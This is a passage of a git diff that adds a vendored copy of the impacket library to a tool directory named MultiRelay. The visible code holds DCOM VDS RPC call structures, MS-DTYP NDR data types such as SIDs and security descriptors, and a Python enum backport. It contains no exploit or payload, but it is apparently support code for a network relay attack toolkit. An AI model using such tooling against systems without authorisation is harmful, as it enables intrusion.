class IVdsService_WaitForServiceReady(DCOMCALL):
opnum = 4
structure = (
)
class IVdsService_WaitForServiceReadyResponse(DCOMANSWER):
structure = (
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.3 IVdsService::GetProperties (Opnum 5)
class IVdsService_GetProperties(DCOMCALL):
opnum = 5
structure = (
)
class IVdsService_GetPropertiesResponse(DCOMANSWER):
structure = (
('pServiceProp', VDS_SERVICE_PROP),
('ErrorCode', error_status_t),
)
# 3.4.5.2.4.4 IVdsService::QueryProviders (Opnum 6)
class IVdsService_QueryProviders(DCOMCALL):
opnum = 6
structure = (
('masks', DWORD),
)
class IVdsService_QueryProvidersResponse(DCOMANSWER):
structure = (
('ppEnum', PMInterfacePointer),
('ErrorCode', error_status_t),
)
# 3.1.1.1 IEnumVdsObject Interface
# 3.4.5.2.1.1 IEnumVdsObject::Next (Opnum 3)
class IEnumVdsObject_Next(DCOMCALL):
opnum = 3
structure = (
('celt', ULONG),
)
class IEnumVdsObject_NextResponse(DCOMANSWER):
structure = (
('ppObjectArray', OBJECT_ARRAY),
('pcFetched', ULONG),
('ErrorCode', error_status_t),
)
# 3.4.5.2.14.1 IVdsProvider::GetProperties (Opnum 3)
class IVdsProvider_GetProperties(DCOMCALL):
opnum = 3
structure = (
)
class IVdsProvider_GetPropertiesResponse(DCOMANSWER):
structure = (
('pProviderProp', VDS_PROVIDER_PROP),
('ErrorCode', error_status_t),
)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
}
################################################################################
# HELPER FUNCTIONS AND INTERFACES
################################################################################
class IEnumVdsObject(IRemUnknown2):
def Next(self, celt=0xffff):
request = IEnumVdsObject_Next()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['celt'] = celt
try:
resp = self.request(request, uuid = self.get_iPid())
except Exception as e:
resp = e.get_packet()
# If it is S_FALSE(1) means less items were returned
if resp['ErrorCode'] != 1:
raise
interfaces = list()
for interface in resp['ppObjectArray']:
interfaces.append(IRemUnknown2(INTERFACE(self.get_cinstance(), ''.join(interface['abData']), self.get_ipidRemUnknown(), target = self.get_target())))
return interfaces
class IVdsProvider(IRemUnknown2):
def GetProperties(self):
request = IVdsProvider_GetProperties()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
resp = self.request(request, uuid = self.get_iPid())
return resp
class IVdsServiceInitialization(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
def Initialize(self):
request = IVdsServiceInitialization_Initialize()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['pwszMachineName'] = '\x00'
resp = self.request(request, uuid = self.get_iPid())
return resp
class IVdsService(IRemUnknown2):
def __init__(self, interface):
IRemUnknown2.__init__(self, interface)
def IsServiceReady(self):
request = IVdsService_IsServiceReady()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
try:
resp = self.request(request, uuid = self.get_iPid())
except Exception as e:
resp = e.get_packet()
return resp
def WaitForServiceReady(self):
request = IVdsService_WaitForServiceReady()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
resp = self.request(request, uuid = self.get_iPid())
return resp
def GetProperties(self):
request = IVdsService_GetProperties()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
resp = self.request(request, uuid = self.get_iPid())
return resp
def QueryProviders(self, masks):
request = IVdsService_QueryProviders()
request['ORPCthis'] = self.get_cinstance().get_ORPCthis()
request['ORPCthis']['flags'] = 0
request['masks'] = masks
resp = self.request(request, uuid = self.get_iPid())
return IEnumVdsObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))

3250
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcom/wmi.py Normal file
View File

File diff suppressed because it is too large Load Diff

1903
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dcomrt.py Normal file
View File

File diff suppressed because it is too large Load Diff

1018
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dhcpm.py Executable file
View File

File diff suppressed because it is too large Load Diff

1517
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/drsuapi.py Normal file
View File

File diff suppressed because it is too large Load Diff

542
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/dtypes.py Normal file
View File

@@ -0,0 +1,542 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-DTYP] Interface mini implementation
#
from __future__ import division
from __future__ import print_function
from struct import pack
from six import binary_type
from impacket.dcerpc.v5.ndr import NDRULONG, NDRUHYPER, NDRSHORT, NDRLONG, NDRPOINTER, NDRUniConformantArray, \
NDRUniFixedArray, NDR, NDRHYPER, NDRSMALL, NDRPOINTERNULL, NDRSTRUCT, \
NDRUSMALL, NDRBOOLEAN, NDRUSHORT, NDRFLOAT, NDRDOUBLEFLOAT, NULL
DWORD = NDRULONG
BOOL = NDRULONG
UCHAR = NDRUSMALL
SHORT = NDRSHORT
NULL = NULL
class LPDWORD(NDRPOINTER):
referent = (
('Data', DWORD),
)
class PSHORT(NDRPOINTER):
referent = (
('Data', SHORT),
)
class PBOOL(NDRPOINTER):
referent = (
('Data', BOOL),
)
class LPBYTE(NDRPOINTER):
referent = (
('Data', NDRUniConformantArray),
)
PBYTE = LPBYTE
# 2.2.4 BOOLEAN
BOOLEAN = NDRBOOLEAN
# 2.2.6 BYTE
BYTE = NDRUSMALL
# 2.2.7 CHAR
CHAR = NDRSMALL
class PCHAR(NDRPOINTER):
referent = (
('Data', CHAR),
)
class WIDESTR(NDRUniFixedArray):
def getDataLen(self, data, offset=0):
return data.find(b'\x00\x00\x00', offset)+3-offset
def __setitem__(self, key, value):
if key == 'Data':
try:
self.fields[key] = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def __getitem__(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le')
else:
return NDR.__getitem__(self,key)
class STR(NDRSTRUCT):
commonHdr = (
('MaximumCount', '<L=len(Data)'),
('Offset','<L=0'),
('ActualCount','<L=len(Data)'),
)
commonHdr64 = (
('MaximumCount', '<Q=len(Data)'),
('Offset','<Q=0'),
('ActualCount','<Q=len(Data)'),
)
structure = (
('Data',':'),
)
def dump(self, msg = None, indent = 0):
if msg is None:
msg = self.__class__.__name__
if msg != '':
print("%s" % msg, end=' ')
# Here just print the data
print(" %r" % (self['Data']), end=' ')
def __setitem__(self, key, value):
if key == 'Data':
try:
if not isinstance(value, binary_type):
self.fields[key] = value.encode('utf-8')
else:
# if it is a binary type (str in Python 2, bytes in Python 3), then we assume it is a raw buffer
self.fields[key] = value
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8')
self.fields['MaximumCount'] = None
self.fields['ActualCount'] = None
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def __getitem__(self, key):
if key == 'Data':
try:
return self.fields[key].decode('utf-8')
except UnicodeDecodeError:
# if we could't decode it, we assume it is a raw buffer
return self.fields[key]
else:
return NDR.__getitem__(self,key)
def getDataLen(self, data, offset=0):
return self["ActualCount"]
class LPSTR(NDRPOINTER):
referent = (
('Data', STR),
)
class WSTR(NDRSTRUCT):
commonHdr = (
('MaximumCount', '<L=len(Data)//2'),
('Offset','<L=0'),
('ActualCount','<L=len(Data)//2'),
)
commonHdr64 = (
('MaximumCount', '<Q=len(Data)//2'),
('Offset','<Q=0'),
('ActualCount','<Q=len(Data)//2'),
)
structure = (
('Data',':'),
)
def dump(self, msg = None, indent = 0):
if msg is None:
msg = self.__class__.__name__
if msg != '':
print("%s" % msg, end=' ')
# Here just print the data
print(" %r" % (self['Data']), end=' ')
def getDataLen(self, data, offset=0):
return self["ActualCount"]*2
def __setitem__(self, key, value):
if key == 'Data':
try:
self.fields[key] = value.encode('utf-16le')
except UnicodeDecodeError:
import sys
self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-16le')
self.fields['MaximumCount'] = None
self.fields['ActualCount'] = None
self.data = None # force recompute
else:
return NDR.__setitem__(self, key, value)
def __getitem__(self, key):
if key == 'Data':
return self.fields[key].decode('utf-16le')
else:
return NDR.__getitem__(self,key)
class LPWSTR(NDRPOINTER):
referent = (
('Data', WSTR),
)
# 2.2.5 BSTR
BSTR = LPWSTR
# 2.2.8 DOUBLE
DOUBLE = NDRDOUBLEFLOAT
class PDOUBLE(NDRPOINTER):
referent = (
('Data', DOUBLE),
)
# 2.2.15 FLOAT
FLOAT = NDRFLOAT
class PFLOAT(NDRPOINTER):
referent = (
('Data', FLOAT),
)
# 2.2.18 HRESULT
HRESULT = NDRLONG
class PHRESULT(NDRPOINTER):
referent = (
('Data', HRESULT),
)
# 2.2.19 INT
INT = NDRLONG
class PINT(NDRPOINTER):
referent = (
('Data', INT),
)
# 2.2.26 LMSTR
LMSTR = LPWSTR
# 2.2.27 LONG
LONG = NDRLONG
class LPLONG(NDRPOINTER):
referent = (
('Data', LONG),
)
PLONG = LPLONG
# 2.2.28 LONGLONG
LONGLONG = NDRHYPER
class PLONGLONG(NDRPOINTER):
referent = (
('Data', LONGLONG),
)
# 2.2.31 LONG64
LONG64 = NDRUHYPER
class PLONG64(NDRPOINTER):
referent = (
('Data', LONG64),
)
# 2.2.32 LPCSTR
LPCSTR = LPSTR
# 2.2.36 NET_API_STATUS
NET_API_STATUS = DWORD
# 2.2.52 ULONG_PTR
ULONG_PTR = NDRULONG
# 2.2.10 DWORD_PTR
DWORD_PTR = ULONG_PTR
# 2.3.2 GUID and UUID
class GUID(NDRSTRUCT):
structure = (
('Data','16s=b""'),
)
def getAlignment(self):
return 4
class PGUID(NDRPOINTER):
referent = (
('Data', GUID),
)
UUID = GUID
PUUID = PGUID
# 2.2.37 NTSTATUS
NTSTATUS = DWORD
# 2.2.45 UINT
UINT = NDRULONG
class PUINT(NDRPOINTER):
referent = (
('Data', UINT),
)
# 2.2.50 ULONG
ULONG = NDRULONG
class PULONG(NDRPOINTER):
referent = (
('Data', ULONG),
)
LPULONG = PULONG
# 2.2.54 ULONGLONG
ULONGLONG = NDRUHYPER
class PULONGLONG(NDRPOINTER):
referent = (
('Data', ULONGLONG),
)
# 2.2.57 USHORT
USHORT = NDRUSHORT
class PUSHORT(NDRPOINTER):
referent = (
('Data', USHORT),
)
# 2.2.59 WCHAR
WCHAR = WSTR
PWCHAR = LPWSTR
# 2.2.61 WORD
WORD = NDRUSHORT
class PWORD(NDRPOINTER):
referent = (
('Data', WORD),
)
LPWORD = PWORD
# 2.3.1 FILETIME
class FILETIME(NDRSTRUCT):
structure = (
('dwLowDateTime', DWORD),
('dwHighDateTime', LONG),
)
class PFILETIME(NDRPOINTER):
referent = (
('Data', FILETIME),
)
# 2.3.3 LARGE_INTEGER
LARGE_INTEGER = NDRHYPER
class PLARGE_INTEGER(NDRPOINTER):
referent = (
('Data', LARGE_INTEGER),
)
# 2.3.5 LUID
class LUID(NDRSTRUCT):
structure = (
('LowPart', DWORD),
('HighPart', LONG),
)
# 2.3.8 RPC_UNICODE_STRING
class RPC_UNICODE_STRING(NDRSTRUCT):
# Here we're doing some tricks to make this data type
# easier to use. It's exactly the same as defined. I changed the
# Buffer name for Data, so users can write directly to the datatype
# instead of writing to datatype['Buffer'].
# The drawback is you cannot directly access the Length and
# MaximumLength fields.
# If you really need it, you will need to do it this way:
# class TT(NDRCALL):
# structure = (
# ('str1', RPC_UNICODE_STRING),
# )
#
# nn = TT()
# nn.fields['str1'].fields['MaximumLength'] = 30
structure = (
('Length','<H=0'),
('MaximumLength','<H=0'),
('Data',LPWSTR),
)
def __setitem__(self, key, value):
if key == 'Data' and isinstance(value, NDR) is False:
try:
value.encode('utf-16le')
except UnicodeDecodeError:
import sys
value = value.decode(sys.getfilesystemencoding())
self['Length'] = len(value)*2
self['MaximumLength'] = len(value)*2
return NDRSTRUCT.__setitem__(self, key, value)
def dump(self, msg = None, indent = 0):
if msg is None:
msg = self.__class__.__name__
if msg != '':
print("%s" % msg, end=' ')
if isinstance(self.fields['Data'] , NDRPOINTERNULL):
print(" NULL", end=' ')
elif self.fields['Data']['ReferentID'] == 0:
print(" NULL", end=' ')
else:
return self.fields['Data'].dump('',indent)
class PRPC_UNICODE_STRING(NDRPOINTER):
referent = (
('Data', RPC_UNICODE_STRING ),
)
# 2.3.9 OBJECT_TYPE_LIST
ACCESS_MASK = DWORD
class OBJECT_TYPE_LIST(NDRSTRUCT):
structure = (
('Level', WORD),
('Remaining',ACCESS_MASK),
('ObjectType',PGUID),
)
class POBJECT_TYPE_LIST(NDRPOINTER):
referent = (
('Data', OBJECT_TYPE_LIST ),
)
# 2.3.13 SYSTEMTIME
class SYSTEMTIME(NDRSTRUCT):
structure = (
('wYear', WORD),
('wMonth', WORD),
('wDayOfWeek', WORD),
('wDay', WORD),
('wHour', WORD),
('wMinute', WORD),
('wSecond', WORD),
('wMilliseconds', WORD),
)
class PSYSTEMTIME(NDRPOINTER):
referent = (
('Data', SYSTEMTIME ),
)
# 2.3.15 ULARGE_INTEGER
class ULARGE_INTEGER(NDRSTRUCT):
structure = (
('QuadPart', LONG64),
)
class PULARGE_INTEGER(NDRPOINTER):
referent = (
('Data', ULARGE_INTEGER),
)
# 2.4.2.3 RPC_SID
class DWORD_ARRAY(NDRUniConformantArray):
item = '<L'
class RPC_SID_IDENTIFIER_AUTHORITY(NDRUniFixedArray):
align = 1
align64 = 1
def getDataLen(self, data, offset=0):
return 6
class RPC_SID(NDRSTRUCT):
structure = (
('Revision',NDRSMALL),
('SubAuthorityCount',NDRSMALL),
('IdentifierAuthority',RPC_SID_IDENTIFIER_AUTHORITY),
('SubAuthority',DWORD_ARRAY),
)
def getData(self, soFar = 0):
self['SubAuthorityCount'] = len(self['SubAuthority'])
return NDRSTRUCT.getData(self, soFar)
def fromCanonical(self, canonical):
items = canonical.split('-')
self['Revision'] = int(items[1])
self['IdentifierAuthority'] = b'\x00\x00\x00\x00\x00' + pack('B',int(items[2]))
self['SubAuthorityCount'] = len(items) - 3
for i in range(self['SubAuthorityCount']):
self['SubAuthority'].append(int(items[i+3]))
def formatCanonical(self):
ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority'][5:6]))
for i in range(self['SubAuthorityCount']):
ans += '-%d' % self['SubAuthority'][i]
return ans
class PRPC_SID(NDRPOINTER):
referent = (
('Data', RPC_SID),
)
PSID = PRPC_SID
# 2.4.3 ACCESS_MASK
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
MAXIMUM_ALLOWED = 0x02000000
ACCESS_SYSTEM_SECURITY = 0x01000000
SYNCHRONIZE = 0x00100000
WRITE_OWNER = 0x00080000
WRITE_DACL = 0x00040000
READ_CONTROL = 0x00020000
DELETE = 0x00010000
# 2.4.5.1 ACL--RPC Representation
class ACL(NDRSTRUCT):
structure = (
('AclRevision',NDRSMALL),
('Sbz1',NDRSMALL),
('AclSize',NDRSHORT),
('AceCount',NDRSHORT),
('Sbz2',NDRSHORT),
)
class PACL(NDRPOINTER):
referent = (
('Data', ACL),
)
# 2.4.6.1 SECURITY_DESCRIPTOR--RPC Representation
class SECURITY_DESCRIPTOR(NDRSTRUCT):
structure = (
('Revision',UCHAR),
('Sbz1',UCHAR),
('Control',USHORT),
('Owner',PSID),
('Group',PSID),
('Sacl',PACL),
('Dacl',PACL),
)
# 2.4.7 SECURITY_INFORMATION
OWNER_SECURITY_INFORMATION = 0x00000001
GROUP_SECURITY_INFORMATION = 0x00000002
DACL_SECURITY_INFORMATION = 0x00000004
SACL_SECURITY_INFORMATION = 0x00000008
LABEL_SECURITY_INFORMATION = 0x00000010
UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000
UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000
PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000
PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000
ATTRIBUTE_SECURITY_INFORMATION = 0x00000020
SCOPE_SECURITY_INFORMATION = 0x00000040
BACKUP_SECURITY_INFORMATION = 0x00010000
SECURITY_INFORMATION = DWORD
class PSECURITY_INFORMATION(NDRPOINTER):
referent = (
('Data', SECURITY_INFORMATION),
)

754
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/enum.py Normal file
View File

@@ -0,0 +1,754 @@
"""Python Enumerations"""
import sys as _sys
__all__ = ['Enum', 'IntEnum', 'unique']
pyver = float('%s.%s' % _sys.version_info[:2])
try:
any
except NameError:
def any(iterable):
for element in iterable:
if element:
return True
return False
class _RouteClassAttributeToGetattr(object):
"""Route attribute access on a class to __getattr__.
This is a descriptor, used to define attributes that act differently when
accessed through an instance and through a class. Instance access remains
normal, but access to an attribute through a class will be routed to the
class's __getattr__ method; this is done by raising AttributeError.
"""
def __init__(self, fget=None):
self.fget = fget
def __get__(self, instance, ownerclass=None):
if instance is None:
raise AttributeError()
return self.fget(instance)
def __set__(self, instance, value):
raise AttributeError("can't set attribute")
def __delete__(self, instance):
raise AttributeError("can't delete attribute")
def _is_descriptor(obj):
"""Returns True if obj is a descriptor, False otherwise."""
return (
hasattr(obj, '__get__') or
hasattr(obj, '__set__') or
hasattr(obj, '__delete__'))
def _is_dunder(name):
"""Returns True if a __dunder__ name, False otherwise."""
return (name[:2] == name[-2:] == '__' and
name[2:3] != '_' and
name[-3:-2] != '_' and
len(name) > 4)
def _is_sunder(name):
"""Returns True if a _sunder_ name, False otherwise."""
return (name[0] == name[-1] == '_' and
name[1:2] != '_' and
name[-2:-1] != '_' and
len(name) > 2)
def _make_class_unpicklable(cls):
"""Make the given class un-picklable."""
def _break_on_call_reduce(self):
raise TypeError('%r cannot be pickled' % self)
cls.__reduce__ = _break_on_call_reduce
cls.__module__ = '<unknown>'
class _EnumDict(dict):
"""Track enum member order and ensure member names are not reused.
EnumMeta will use the names found in self._member_names as the
enumeration member names.
"""
def __init__(self):
super(_EnumDict, self).__init__()
self._member_names = []
def __setitem__(self, key, value):
"""Changes anything not dundered or not a descriptor.
If a descriptor is added with the same name as an enum member, the name
is removed from _member_names (this may leave a hole in the numerical
sequence of values).
If an enum member name is used twice, an error is raised; duplicate
values are not checked for.
Single underscore (sunder) names are reserved.
Note: in 3.x __order__ is simply discarded as a not necessary piece
leftover from 2.x
"""
if pyver >= 3.0 and key == '__order__':
return
if _is_sunder(key):
raise ValueError('_names_ are reserved for future Enum use')
elif _is_dunder(key):
pass
elif key in self._member_names:
# descriptor overwriting an enum?
raise TypeError('Attempted to reuse key: %r' % key)
elif not _is_descriptor(value):
if key in self:
# enum overwriting a descriptor?
raise TypeError('Key already defined as: %r' % self[key])
self._member_names.append(key)
super(_EnumDict, self).__setitem__(key, value)
# Dummy value for Enum as EnumMeta explicitly checks for it, but of course until
# EnumMeta finishes running the first time the Enum class doesn't exist. This
# is also why there are checks in EnumMeta like `if Enum is not None`
Enum = None
class EnumMeta(type):
"""Metaclass for Enum"""
@classmethod
def __prepare__(metacls, cls, bases):
return _EnumDict()
def __new__(metacls, cls, bases, classdict):
# an Enum class is final once enumeration items have been defined; it
# cannot be mixed with other types (int, float, etc.) if it has an
# inherited __new__ unless a new __new__ is defined (or the resulting
# class will fail).
if type(classdict) is dict:
original_dict = classdict
classdict = _EnumDict()
for k, v in original_dict.items():
classdict[k] = v
member_type, first_enum = metacls._get_mixins_(bases)
#if member_type is object:
# use_args = False
#else:
# use_args = True
__new__, save_new, use_args = metacls._find_new_(classdict, member_type,
first_enum)
# save enum items into separate mapping so they don't get baked into
# the new class
members = dict((k, classdict[k]) for k in classdict._member_names)
for name in classdict._member_names:
del classdict[name]
# py2 support for definition order
__order__ = classdict.get('__order__')
if __order__ is None:
__order__ = classdict._member_names
if pyver < 3.0:
order_specified = False
else:
order_specified = True
else:
del classdict['__order__']
order_specified = True
if pyver < 3.0:
__order__ = __order__.replace(',', ' ').split()
aliases = [name for name in members if name not in __order__]
__order__ += aliases
# check for illegal enum names (any others?)
invalid_names = set(members) & set(['mro'])
if invalid_names:
raise ValueError('Invalid enum member name(s): %s' % (
', '.join(invalid_names), ))
# create our new Enum type
enum_class = super(EnumMeta, metacls).__new__(metacls, cls, bases, classdict)
enum_class._member_names_ = [] # names in random order
enum_class._member_map_ = {} # name->value map
enum_class._member_type_ = member_type
# Reverse value->name map for hashable values.
enum_class._value2member_map_ = {}
# check for a __getnewargs__, and if not present sabotage
# pickling, since it won't work anyway
if (member_type is not object and
member_type.__dict__.get('__getnewargs__') is None
):
_make_class_unpicklable(enum_class)
# instantiate them, checking for duplicates as we go
# we instantiate first instead of checking for duplicates first in case
# a custom __new__ is doing something funky with the values -- such as
# auto-numbering ;)
if __new__ is None:
__new__ = enum_class.__new__
for member_name in __order__:
value = members[member_name]
if not isinstance(value, tuple):
args = (value, )
else:
args = value
if member_type is tuple: # special case for tuple enums
args = (args, ) # wrap it one more time
if not use_args or not args:
enum_member = __new__(enum_class)
if not hasattr(enum_member, '_value_'):
enum_member._value_ = value
else:
enum_member = __new__(enum_class, *args)
if not hasattr(enum_member, '_value_'):
enum_member._value_ = member_type(*args)
value = enum_member._value_
enum_member._name_ = member_name
enum_member.__objclass__ = enum_class
enum_member.__init__(*args)
# If another member with the same value was already defined, the
# new member becomes an alias to the existing one.
for name, canonical_member in enum_class._member_map_.items():
if canonical_member.value == enum_member._value_:
enum_member = canonical_member
break
else:
# Aliases don't appear in member names (only in __members__).
enum_class._member_names_.append(member_name)
enum_class._member_map_[member_name] = enum_member
try:
# This may fail if value is not hashable. We can't add the value
# to the map, and by-value lookups for this value will be
# linear.
enum_class._value2member_map_[value] = enum_member
except TypeError:
pass
# in Python2.x we cannot know definition order, so go with value order
# unless __order__ was specified in the class definition
if not order_specified:
enum_class._member_names_ = [
e[0] for e in sorted(
[(name, enum_class._member_map_[name]) for name in enum_class._member_names_],
key=lambda t: t[1]._value_
)]
# double check that repr and friends are not the mixin's or various
# things break (such as pickle)
if Enum is not None:
setattr(enum_class, '__getnewargs__', Enum.__getnewargs__)
for name in ('__repr__', '__str__', '__format__'):
class_method = getattr(enum_class, name)
obj_method = getattr(member_type, name, None)
enum_method = getattr(first_enum, name, None)
if obj_method is not None and obj_method is class_method:
setattr(enum_class, name, enum_method)
# method resolution and int's are not playing nice
# Python's less than 2.6 use __cmp__
if pyver < 2.6:
if issubclass(enum_class, int):
setattr(enum_class, '__cmp__', getattr(int, '__cmp__'))
elif pyver < 3.0:
if issubclass(enum_class, int):
for method in (
'__le__',
'__lt__',
'__gt__',
'__ge__',
'__eq__',
'__ne__',
'__hash__',
):
setattr(enum_class, method, getattr(int, method))
# replace any other __new__ with our own (as long as Enum is not None,
# anyway) -- again, this is to support pickle
if Enum is not None:
# if the user defined their own __new__, save it before it gets
# clobbered in case they subclass later
if save_new:
setattr(enum_class, '__member_new__', enum_class.__dict__['__new__'])
setattr(enum_class, '__new__', Enum.__dict__['__new__'])
return enum_class
def __call__(cls, value, names=None, module=None, type=None):
"""Either returns an existing member, or creates a new enum class.
This method is used both when an enum class is given a value to match
to an enumeration member (i.e. Color(3)) and for the functional API
(i.e. Color = Enum('Color', names='red green blue')).
When used for the functional API: `module`, if set, will be stored in
the new class' __module__ attribute; `type`, if set, will be mixed in
as the first base class.
Note: if `module` is not set this routine will attempt to discover the
calling module by walking the frame stack; if this is unsuccessful
the resulting class will not be pickleable.
"""
if names is None: # simple value lookup
return cls.__new__(cls, value)
# otherwise, functional API: we're creating a new Enum type
return cls._create_(value, names, module=module, type=type)
def __contains__(cls, member):
return isinstance(member, cls) and member.name in cls._member_map_
def __delattr__(cls, attr):
# nicer error message when someone tries to delete an attribute
# (see issue19025).
if attr in cls._member_map_:
raise AttributeError(
"%s: cannot delete Enum member." % cls.__name__)
super(EnumMeta, cls).__delattr__(attr)
def __dir__(self):
return (['__class__', '__doc__', '__members__', '__module__'] +
self._member_names_)
@property
def __members__(cls):
"""Returns a mapping of member name->value.
This mapping lists all enum members, including aliases. Note that this
is a copy of the internal mapping.
"""
return cls._member_map_.copy()
def __getattr__(cls, name):
"""Return the enum member matching `name`
We use __getattr__ instead of descriptors or inserting into the enum
class' __dict__ in order to support `name` and `value` being both
properties for enum members (which live in the class' __dict__) and
enum members themselves.
"""
if _is_dunder(name):
raise AttributeError(name)
try:
return cls._member_map_[name]
except KeyError:
raise AttributeError(name)
def __getitem__(cls, name):
return cls._member_map_[name]
def __iter__(cls):
return (cls._member_map_[name] for name in cls._member_names_)
def __reversed__(cls):
return (cls._member_map_[name] for name in reversed(cls._member_names_))
def __len__(cls):
return len(cls._member_names_)
def __repr__(cls):
return "<enum %r>" % cls.__name__
def __setattr__(cls, name, value):
"""Block attempts to reassign Enum members.
A simple assignment to the class namespace only changes one of the
several possible ways to get an Enum member from the Enum class,
resulting in an inconsistent Enumeration.
"""
member_map = cls.__dict__.get('_member_map_', {})
if name in member_map:
raise AttributeError('Cannot reassign members.')
super(EnumMeta, cls).__setattr__(name, value)
def _create_(cls, class_name, names=None, module=None, type=None):
"""Convenience method to create a new Enum class.
`names` can be:
* A string containing member names, separated either with spaces or
commas. Values are auto-numbered from 1.
* An iterable of member names. Values are auto-numbered from 1.
* An iterable of (member name, value) pairs.
* A mapping of member name -> value.
"""
metacls = cls.__class__
if type is None:
bases = (cls, )
else:
bases = (type, cls)
classdict = metacls.__prepare__(class_name, bases)
__order__ = []
# special processing needed for names?
if isinstance(names, str):
names = names.replace(',', ' ').split()
if isinstance(names, (tuple, list)) and isinstance(names[0], str):
names = [(e, i+1) for (i, e) in enumerate(names)]
# Here, names is either an iterable of (name, value) or a mapping.
for item in names:
if isinstance(item, str):
member_name, member_value = item, names[item]
else:
member_name, member_value = item
classdict[member_name] = member_value
__order__.append(member_name)
# only set __order__ in classdict if name/value was not from a mapping
if not isinstance(item, str):
classdict['__order__'] = ' '.join(__order__)
enum_class = metacls.__new__(metacls, class_name, bases, classdict)
# TODO: replace the frame hack if a blessed way to know the calling
# module is ever developed
if module is None:
try:
module = _sys._getframe(2).f_globals['__name__']
except (AttributeError, ValueError):
pass
if module is None:
_make_class_unpicklable(enum_class)
else:
enum_class.__module__ = module
return enum_class
@staticmethod
def _get_mixins_(bases):
"""Returns the type for creating enum members, and the first inherited
enum class.
bases: the tuple of bases that was given to __new__
"""
if not bases or Enum is None:
return object, Enum
# double check that we are not subclassing a class with existing
# enumeration members; while we're at it, see if any other data
# type has been mixed in so we can use the correct __new__
member_type = first_enum = None
for base in bases:
if (base is not Enum and
issubclass(base, Enum) and
base._member_names_):
raise TypeError("Cannot extend enumerations")
# base is now the last base in bases
if not issubclass(base, Enum):
raise TypeError("new enumerations must be created as "
"`ClassName([mixin_type,] enum_type)`")
# get correct mix-in type (either mix-in type of Enum subclass, or
# first base if last base is Enum)
if not issubclass(bases[0], Enum):
member_type = bases[0] # first data type
first_enum = bases[-1] # enum type
else:
for base in bases[0].__mro__:
# most common: (IntEnum, int, Enum, object)
# possible: (<Enum 'AutoIntEnum'>, <Enum 'IntEnum'>,
# <class 'int'>, <Enum 'Enum'>,
# <class 'object'>)
if issubclass(base, Enum):
if first_enum is None:
first_enum = base
else:
if member_type is None:
member_type = base
return member_type, first_enum
if pyver < 3.0:
@staticmethod
def _find_new_(classdict, member_type, first_enum):
"""Returns the __new__ to be used for creating the enum members.
classdict: the class dictionary given to __new__
member_type: the data type whose __new__ will be used by default
first_enum: enumeration to check for an overriding __new__
"""
# now find the correct __new__, checking to see of one was defined
# by the user; also check earlier enum classes in case a __new__ was
# saved as __member_new__
__new__ = classdict.get('__new__', None)
if __new__:
return None, True, True # __new__, save_new, use_args
N__new__ = getattr(None, '__new__')
O__new__ = getattr(object, '__new__')
if Enum is None:
E__new__ = N__new__
else:
E__new__ = Enum.__dict__['__new__']
# check all possibles for __member_new__ before falling back to
# __new__
for method in ('__member_new__', '__new__'):
for possible in (member_type, first_enum):
try:
target = possible.__dict__[method]
except (AttributeError, KeyError):
target = getattr(possible, method, None)
if target not in [
None,
N__new__,
O__new__,
E__new__,
]:
if method == '__member_new__':
classdict['__new__'] = target
return None, False, True
if isinstance(target, staticmethod):
target = target.__get__(member_type)
__new__ = target
break
if __new__ is not None:
break
else:
__new__ = object.__new__
# if a non-object.__new__ is used then whatever value/tuple was
# assigned to the enum member name will be passed to __new__ and to the
# new enum member's __init__
if __new__ is object.__new__:
use_args = False
else:
use_args = True
return __new__, False, use_args
else:
@staticmethod
def _find_new_(classdict, member_type, first_enum):
"""Returns the __new__ to be used for creating the enum members.
classdict: the class dictionary given to __new__
member_type: the data type whose __new__ will be used by default
first_enum: enumeration to check for an overriding __new__
"""
# now find the correct __new__, checking to see of one was defined
# by the user; also check earlier enum classes in case a __new__ was
# saved as __member_new__
__new__ = classdict.get('__new__', None)
# should __new__ be saved as __member_new__ later?
save_new = __new__ is not None
if __new__ is None:
# check all possibles for __member_new__ before falling back to
# __new__
for method in ('__member_new__', '__new__'):
for possible in (member_type, first_enum):
target = getattr(possible, method, None)
if target not in (
None,
None.__new__,
object.__new__,
Enum.__new__,
):
__new__ = target
break
if __new__ is not None:
break
else:
__new__ = object.__new__
# if a non-object.__new__ is used then whatever value/tuple was
# assigned to the enum member name will be passed to __new__ and to the
# new enum member's __init__
